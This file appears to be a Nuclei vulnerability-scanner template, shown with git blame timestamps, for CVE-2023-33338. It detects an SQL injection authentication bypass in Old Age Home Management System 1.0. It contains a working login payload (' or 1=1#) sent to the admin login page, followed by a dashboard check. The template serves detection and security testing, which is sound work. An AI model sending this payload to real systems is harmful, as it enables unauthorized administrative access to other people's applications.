nuclei-templates/http/cves/2023/CVE-2023-33338.yaml

42 lines
1.2 KiB
YAML
Raw Normal View History

2023-06-29 07:17:34 +00:00
id: CVE-2023-33338
info:
2023-07-10 12:25:32 +00:00
name: Old Age Home Management System v1.0 - SQL Injection
2023-06-29 07:17:34 +00:00
author: Harsh
severity: critical
description: |
Old Age Home Management 1.0 is vulnerable to SQL Injection via the username parameter.
reference:
- https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/ANUJ-KUMAR/Old-Age-Home-Management-2022-2023-1.0
- https://nvd.nist.gov/vuln/detail/CVE-2023-33338
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-33338
cwe-id: CWE-89
metadata:
verified: true
2023-07-10 12:25:32 +00:00
tags: cve,cve2023,oahms,sqli,auth-bypass
2023-06-29 07:17:34 +00:00
http:
- raw:
- |
2023-07-10 12:25:32 +00:00
POST /admin/login.php HTTP/1.1
2023-06-29 07:17:34 +00:00
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
username=vaday%27+or+1%3D1%23&password=password&submit=
2023-07-10 12:25:32 +00:00
- |
GET /admin/dashboard.php HTTP/1.1
Host: {{Hostname}}
2023-06-29 07:17:34 +00:00
cookie-reuse: true
matchers:
- type: dsl
dsl:
2023-07-10 12:25:32 +00:00
- 'status_code_2 == 200'
- 'contains(body_2, "Change Password")'
- 'contains(body_2, "Old Age Home Management System|| Dashboard")'
2023-06-29 07:17:34 +00:00
condition: and